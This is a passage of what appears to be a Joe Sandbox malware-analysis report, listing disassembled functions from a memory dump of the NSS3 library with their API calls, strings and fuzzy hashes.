Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CB84647
SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CC9A0F4,?), ref: 6CB8468C
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CB846A1

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_Arena_Item_Value$AllocateCopyCriticalDecodeEnterErrorFreeInitLockPoolQuickSectionUnlockcallocmemcpymemset
String ID:
API String ID: 1594507116-0
Opcode ID: 154f67ba5550bf11bb74cd33abbe7b3d11d28eec8367203b52b08edba3c4b0cc
Instruction ID: 17163610dd84fefd0af2782ac83f1ef29f7eb29369c637735e54ea521af5dd41
Opcode Fuzzy Hash: 154f67ba5550bf11bb74cd33abbe7b3d11d28eec8367203b52b08edba3c4b0cc
Instruction Fuzzy Hash: 9431F4B1E013549BFF108E54DC61BAB36ACEB46358F040078E905DF785E779C8088BA6

Function 6CB92E40 Relevance: 10.6, APIs: 7, Instructions: 92COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,00000038,?,6CB8E728,?,00000038,?,?,00000000), ref: 6CB92E52
EnterCriticalSection.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB92E66
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CB92E7B
EnterCriticalSection.KERNEL32(00000000), ref: 6CB92E8F
PL_HashTableLookup.NSS3(?,?), ref: 6CB92E9E
PR_Unlock.NSS3(?), ref: 6CB92EAB
PR_Unlock.NSS3(?), ref: 6CB92F0D

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$HashLookupTable
String ID:
API String ID: 3106257965-0
Opcode ID: 2be60416d01162fdedb8a71244d9e4dca36380c3f3eec768704b35fc4e11d69d
Instruction ID: f6e597b4cfed93a80d4ab34a23666c3a35f5499a3454a7025522930898b1cf40
Opcode Fuzzy Hash: 2be60416d01162fdedb8a71244d9e4dca36380c3f3eec768704b35fc4e11d69d
Instruction Fuzzy Hash: CD31F675E005459BEF01AF69DC8487ABB75EF06258B148174EC08C7A11E731ED64C7E2

Function 6CBC4470 Relevance: 10.6, APIs: 7, Instructions: 82COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,?,6CB87296,00000000), ref: 6CBC4487
EnterCriticalSection.KERNEL32(?,?,?,6CB87296,00000000), ref: 6CBC44A0
PR_Unlock.NSS3(?,?,?,?,6CB87296,00000000), ref: 6CBC44BB
SECMOD_DestroyModule.NSS3(?,?,?,?,6CB87296,00000000), ref: 6CBC44DA
DeleteCriticalSection.KERNEL32(?,?,?,?,6CB87296,00000000), ref: 6CBC4530
free.MOZGLUE(?,?,?,?,?,6CB87296,00000000), ref: 6CBC453C
PORT_FreeArena_Util.NSS3 ref: 6CBC454F

Part of subcall function 6CBACAA0: PR_GetEnvSecure.NSS3(NSS_DISABLE_UNLOAD,6CB8B1EE,D958E836,?,6CBC51C5), ref: 6CBACAFA
Part of subcall function 6CBACAA0: PR_UnloadLibrary.NSS3(?,6CBC51C5), ref: 6CBACB09

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$Arena_DeleteDestroyEnterFreeLibraryModuleSecureUnloadUnlockUtilValuefree
String ID:
API String ID: 3590924995-0
Opcode ID: 9cce2698ff6f3ab7a0a59f57e9cb880e002669035a1fbc3a5bebb63f2990111d
Instruction ID: 4e0c4441a608beaeb83e8d95fcf6d4884f7c4a712cbbd2bce01bdde64751d97e
Opcode Fuzzy Hash: 9cce2698ff6f3ab7a0a59f57e9cb880e002669035a1fbc3a5bebb63f2990111d
Instruction Fuzzy Hash: DD313CB4A04A819FDB00AF79C084669BBF4FF05319F014669D89997B00EB35E995CFC3

Function 6CBDCEE0 Relevance: 10.6, APIs: 7, Instructions: 79memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(?,6CBDCD93,?), ref: 6CBDCEEE

Part of subcall function 6CBD14C0: TlsGetValue.KERNEL32 ref: 6CBD14E0
Part of subcall function 6CBD14C0: EnterCriticalSection.KERNEL32 ref: 6CBD14F5
Part of subcall function 6CBD14C0: PR_Unlock.NSS3 ref: 6CBD150D

PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBDCD93,?), ref: 6CBDCEFC

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBDCD93,?), ref: 6CBDCF0B

Part of subcall function 6CBD0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CBD08B4

SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBDCD93,?), ref: 6CBDCF1D

Part of subcall function 6CBCFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CBC8D2D,?,00000000,?), ref: 6CBCFB85
Part of subcall function 6CBCFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CBCFBB1

PORT_ArenaAlloc_Util.NSS3(?,00000008,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF47
PORT_ArenaAlloc_Util.NSS3(?,0000000C,?,?,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF67
SECITEM_CopyItem_Util.NSS3(?,00000000,6CBDCD93,?,?,?,?,?,?,?,?,?,?,?,6CBDCD93,?), ref: 6CBDCF78

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Util$Arena$Alloc_$Value$CopyCriticalEnterItem_SectionUnlock$AllocateErrorFindMark_Tag_memcpy
String ID:
API String ID: 4291907967-0
Opcode ID: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction ID: 5dcbcd909a7e4e5fe2f56b8083d609a5973800e351ad52bec6df5cbb2115f929
Opcode Fuzzy Hash: a3aab832d6a22432be4a6ae88c8f79b101dc4fa96841c8453af480ac5133103c
Instruction Fuzzy Hash: 3511A2A5A002855BEB00AEA67C41BAFB6ECDF5455DF05403AEC09D7741FB60E90C86B3

Function 6CB88C00 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 75memoryCOMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB88C1B
EnterCriticalSection.KERNEL32 ref: 6CB88C34
PL_ArenaAllocate.NSS3 ref: 6CB88C65
PR_Unlock.NSS3 ref: 6CB88C9C
PR_Unlock.NSS3 ref: 6CB88CB6

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

Strings

KRAM, xrefs: 6CB88C8F

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSectionUnlockValue$AllocateArenaEnterLeave
String ID: KRAM
API String ID: 4127063985-3815160215
Opcode ID: 2853683d6c86383c7c397757593550e797b431097ba1b25565d10a8fd5967764
Instruction ID: 43682331fc2c78ea4f7485c14fc6b4429d7d3b629848af343d0a7e9a980b88d4
Opcode Fuzzy Hash: 2853683d6c86383c7c397757593550e797b431097ba1b25565d10a8fd5967764
Instruction Fuzzy Hash: 26218DB1A066418FD700AF79C484569BBF4FF05308F05896ED8888B711EB32E889CF92

Function 6CC82C80 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 61stringCOMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CC82CA0
PR_ExitMonitor.NSS3 ref: 6CC82CBE
calloc.MOZGLUE(00000001,00000014), ref: 6CC82CD1
strdup.MOZGLUE(?), ref: 6CC82CE1
PR_LogPrint.NSS3(Loaded library %s (static lib),00000000), ref: 6CC82D27

Strings

Loaded library %s (static lib), xrefs: 6CC82D22

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Monitor$EnterExitPrintcallocstrdup
String ID: Loaded library %s (static lib)
API String ID: 3511436785-2186981405
Opcode ID: 0351e87d4278d95bf89e09701fbc5a4172f7562f822bee643d90834ab908a022
Instruction ID: e58b0ea143831dd3b2f221ffde55efaed794e08be02b06030c9efebe0ac9d77d
Opcode Fuzzy Hash: 0351e87d4278d95bf89e09701fbc5a4172f7562f822bee643d90834ab908a022
Instruction Fuzzy Hash: 231193B1B022509BFB108F1AD8586677BB4EB4531DF14816DE80987B41F731E809CBA1

Function 6CB768E0 Relevance: 10.6, APIs: 7, Instructions: 56COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CB768FB
EnterCriticalSection.KERNEL32 ref: 6CB76913
PORT_FreeArena_Util.NSS3 ref: 6CB7693E
PR_Unlock.NSS3 ref: 6CB76946
DeleteCriticalSection.KERNEL32 ref: 6CB76951
free.MOZGLUE ref: 6CB7695D
PR_Unlock.NSS3 ref: 6CB76968

Part of subcall function 6CC1DD70: TlsGetValue.KERNEL32 ref: 6CC1DD8C
Part of subcall function 6CC1DD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6CC1DDB4

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: CriticalSection$UnlockValue$Arena_DeleteEnterFreeLeaveUtilfree
String ID:
API String ID: 1628394932-0
Opcode ID: 1cd3bfcc4ff716ba10e4e4cf8e7c25e8dbe8fe03984e1cce5fb8a2dd9ace0aff
Instruction ID: 98f8d0bc76d7b07ff8831e96ba69af21476bd067b6d261c264914ce81601cac3
Opcode Fuzzy Hash: 1cd3bfcc4ff716ba10e4e4cf8e7c25e8dbe8fe03984e1cce5fb8a2dd9ace0aff
Instruction Fuzzy Hash: BA115BB5A047459FDB00BFB9C48856EBBF4FF16248F054568DC99DB601EB30E498CBA2

Function 6CBD0FF0 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 54COMMON

Download Yara Rule

APIs

calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1000
PR_NewLock.NSS3(?,00000800,6CB6EF74,00000000), ref: 6CBD1016

Part of subcall function 6CC398D0: calloc.MOZGLUE(00000001,00000084,6CB60936,00000001,?,6CB6102C), ref: 6CC398E5

PL_InitArenaPool.NSS3(00000000,security,6CB787ED,00000008,?,00000800,6CB6EF74,00000000), ref: 6CBD102B
TlsGetValue.KERNEL32(00000000,?,?,6CB787ED,00000800,6CB6EF74,00000000), ref: 6CBD1044
free.MOZGLUE(00000000,?,00000800,6CB6EF74,00000000), ref: 6CBD1064

Strings

security, xrefs: 6CBD1025

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: calloc$ArenaInitLockPoolValuefree
String ID: security
API String ID: 3379159031-3315324353
Opcode ID: f50ff92bc35a325557f67077b871eba8975ffbf6232bc0d7d4cdd08614c38a13
Instruction ID: 40c2d629095dc9954b49fce2a70e973f29c80b7118a264b15f15d7bb9cc34fad
Opcode Fuzzy Hash: f50ff92bc35a325557f67077b871eba8975ffbf6232bc0d7d4cdd08614c38a13
Instruction Fuzzy Hash: D4014430A402D09BE7203F2D9C08B5A3A7CFF02768F0A0119E80896A51EB60F245DBD2

Function 6CC8C9B0 Relevance: 10.5, APIs: 7, Instructions: 45COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(00000000,6CC01AB6,00000000,?,?,6CC007B9,?), ref: 6CC8C9C6
free.MOZGLUE(?,?,6CC007B9,?), ref: 6CC8C9D3
DeleteCriticalSection.KERNEL32(00000000,00000001), ref: 6CC8C9E5
free.MOZGLUE(?), ref: 6CC8C9EC
DeleteCriticalSection.KERNEL32(00000080), ref: 6CC8C9F8
free.MOZGLUE(?), ref: 6CC8C9FF
free.MOZGLUE(00000000), ref: 6CC8CA0B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: free$CriticalDeleteSection
String ID:
API String ID: 682657753-0
Opcode ID: c42d6bd14cde2414554fa15e1e76bcb88be928ce8b97f328331898d053e7b16b
Instruction ID: c55097f015e4e43ec904e5f265eaa3d5fdbd06e161bfebb13955a7d097a50bd3
Opcode Fuzzy Hash: c42d6bd14cde2414554fa15e1e76bcb88be928ce8b97f328331898d053e7b16b
Instruction Fuzzy Hash: DE0162B2600605ABDB00EFB5CC88897B7FCFE496613040526E906C3600E735F596CBE1

Function 6CC12E50 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,00000000), ref: 6CC13046

Part of subcall function 6CBFEE50: PR_SetError.NSS3(FFFFE013,00000000), ref: 6CBFEE85

PK11_AEADOp.NSS3(?,00000004,?,?,?,?,?,00000000,?,B8830845,?,?,00000000,6CBE7FFB), ref: 6CC1312A
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CC13154
PR_SetError.NSS3(FFFFE001,00000000), ref: 6CC12E8B

Part of subcall function 6CC1C2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CC1C2BF

Part of subcall function 6CBFF110: PR_SetError.NSS3(FFFFE013,00000000,00000000,0000A48E,00000000,?,6CBE9BFF,?,00000000,00000000), ref: 6CBFF134

memcpy.VCRUNTIME140(8B3C75C0,?,6CBE7FFA), ref: 6CC12EA4
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CC1317B

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Error$memcpy$K11_Value
String ID:
API String ID: 2334702667-0
Opcode ID: 632b357d37e3579f77e3d799bb2940dd6348f12610c3d8b5c98710ce193a8417
Instruction ID: 73e7c5c19f0d71b27306f242601a8b5449344bf9f47d51a557d3a826d895dfcf
Opcode Fuzzy Hash: 632b357d37e3579f77e3d799bb2940dd6348f12610c3d8b5c98710ce193a8417
Instruction Fuzzy Hash: 2AA1CE75A002289FDB24CF55CC80BEAB7B5EF45308F048199ED49A7B41E730AD89CF91

Function 6CBCA970 Relevance: 9.3, APIs: 6, Instructions: 251COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1b71b3ee90d6caeb65ab2abf1217f9de7f57e39a03ace66bcdde0d73628e241d
Instruction ID: 77ba1609fe9013a7e52dcb3af60aae7aa65f1d2de88101bd6abfa27e184c657e
Opcode Fuzzy Hash: 1b71b3ee90d6caeb65ab2abf1217f9de7f57e39a03ace66bcdde0d73628e241d
Instruction Fuzzy Hash: 2091FA30F041E84BCB258E2888913DEB7B5DF4A31DF1581E9D5A99BA01D6318E85CFD3

Function 6CBDED00 Relevance: 9.2, APIs: 6, Instructions: 228memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(?,00000000), ref: 6CBDED6B
PORT_Alloc_Util.NSS3(00000000), ref: 6CBDEDCE

Part of subcall function 6CBD0BE0: malloc.MOZGLUE(6CBC8D2D,?,00000000,?), ref: 6CBD0BF8
Part of subcall function 6CBD0BE0: TlsGetValue.KERNEL32(6CBC8D2D,?,00000000,?), ref: 6CBD0C15

free.MOZGLUE(00000000,?,?,?,?,6CBDB04F), ref: 6CBDEE46
PORT_ArenaAlloc_Util.NSS3(?,?), ref: 6CBDEECA
PORT_ArenaAlloc_Util.NSS3(?,0000000C), ref: 6CBDEEEA
PORT_ArenaAlloc_Util.NSS3(?,00000008), ref: 6CBDEEFB

Memory Dump Source

Source File: 00000000.00000002.2009397648.000000006CAF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CAF0000, based on PE: true

Associated: 00000000.00000002.2009364117.000000006CAF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009643981.000000006CC8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009702559.000000006CCCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009735537.000000006CCCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009765882.000000006CCD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2009792122.000000006CCD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6caf0000_file.jbxd

Similarity

API ID: Alloc_Util$Arena$Valuefreemalloc
String ID:
API String ID: 3768380896-0
Opcode ID: b5a9a128bd82a5e4d6157a8e40a85065f8bf79c7ea6f19cd4ead31ded9e1f983
Instruction ID: c1dc80402aaadbfec0798534c427b8a163b538b725509cc27be0ccbed3c6a643
Opcode Fuzzy Hash: b5a9a128bd82a5e4d6157a8e40a85065f8bf79c7ea6f19cd4ead31ded9e1f983
Instruction Fuzzy Hash: 01815BB5A002869FEB14CF55D884AAFBBF5EF88308F15442CE8159B751DB31F815CBA2

Function 6CBDCCF0 Relevance: 9.2, APIs: 6, Instructions: 171memorythreadCOMMON

Download Yara Rule

APIs

Part of subcall function 6CBDC6B0: SECOID_FindOID_Util.NSS3(00000000,00000004,?,6CBDDAE2,?), ref: 6CBDC6C2

PR_Now.NSS3 ref: 6CBDCD35

Part of subcall function 6CC39DB0: GetSystemTime.KERNEL32(?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DC6
Part of subcall function 6CC39DB0: SystemTimeToFileTime.KERNEL32(?,?,?,?,?,00000001,00000000,?,6CC80A27), ref: 6CC39DD1
Part of subcall function 6CC39DB0: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 6CC39DED

Part of subcall function 6CBC6C00: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB71C6F,00000000,00000004,?,?), ref: 6CBC6C3F

PR_GetCurrentThread.NSS3 ref: 6CBDCD54

Part of subcall function 6CC39BF0: TlsGetValue.KERNEL32(?,?,?,6CC80A75), ref: 6CC39C07

Part of subcall function 6CBC7260: PR_SetError.NSS3(FFFFE005,00000000,?,?,00000000,00000000,00000000,?,6CB71CCC,00000000,00000000,?,?), ref: 6CBC729F

SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CBDCD9B
PORT_ArenaGrow_Util.NSS3(00000000,?,?,?), ref: 6CBDCE0B
PORT_ArenaAlloc_Util.NSS3(00000000,00000010), ref: 6CBDCE2C

Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD10F3
Part of subcall function 6CBD10C0: EnterCriticalSection.KERNEL32(?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD110C
Part of subcall function 6CBD10C0: PL_ArenaAllocate.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1141
Part of subcall function 6CBD10C0: PR_Unlock.NSS3(?,?,?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD1182
Part of subcall function 6CBD10C0: TlsGetValue.KERNEL32(?,6CB78802,00000000,00000008,?,6CB6EF74,00000000), ref: 6CBD119C

PORT_ArenaMark_Util.NSS3(00000000), ref: 6CBDCE40

Part of subcall function 6CBD14C0: TlsGetValue.KERNEL32 ref: 6CBD14E0
Part of subcall function 6CBD14C0: EnterCriticalSection.KERNEL32 ref: 6CBD14F5
Part of subcall function 6CBD14C0: PR_Unlock.NSS3 ref: 6CBD150D

Part of subcall function 6CBDCEE0: PORT_ArenaMark_Util.NSS3(?,6CBDCD93,?), ref: 6CBDCEEE
Part of subcall function 6CBDCEE0: PORT_ArenaAlloc_Util.NSS3(?,00000018,?,6CBDCD93,?), ref: 6CBDCEFC
Part of subcall function 6CBDCEE0: SECOID_FindOIDByTag_Util.NSS3(00000023,?,?,?,6CBDCD93,?), ref: 6CBDCF0B
Part of subcall function 6CBDCEE0: SECITEM_CopyItem_Util.NSS3(?,00000000,00000000,?,?,?,?,6CBDCD93,?), ref: 6CBDCF1D

